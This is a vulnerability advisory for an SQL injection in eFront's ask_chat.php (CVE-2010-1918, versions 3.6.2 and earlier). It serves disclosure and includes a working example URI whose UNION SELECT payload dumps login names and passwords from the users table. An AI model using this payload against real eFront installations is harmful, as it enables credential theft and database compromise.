eFront 'ask_chat.php' SQL Injection Vulnerability

Bugtraq ID:	40032
Class:	Input Validation Error
CVE:	CVE-2010-1918
Remote:	Yes
Local:	No
Published:	May 09 2010 12:00AM
Updated:	Apr 13 2015 09:02PM
Credit:	Stefan Esser
Vulnerable:	eFront eFront 3.6.2 eFront eFront 3.6.1 eFront eFront 3.5.5 eFront eFront 3.6
Not Vulnerable:

eFront 'ask_chat.php' SQL Injection Vulnerability

eFront is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

eFront 3.6.2 and prior versions are vulnerable.

eFront 'ask_chat.php' SQL Injection Vulnerability

Attackers can use a browser to exploit this issue.

The following example URI is available:

http://www.example.com/www/ask_chat.php?chatrooms_ID=0%20UNION%20select%20concat%28login,0x2e,password%29,1,1,1,1%20from%20users%20--%20x

eFront 'ask_chat.php' SQL Injection Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

eFront 'ask_chat.php' SQL Injection Vulnerability

References:

• eFront Homepage (eFront)
  
• MOPS-2010-018: EFront ask_chat chatrooms_ID SQL Injection Vulnerability (Stefan Esser)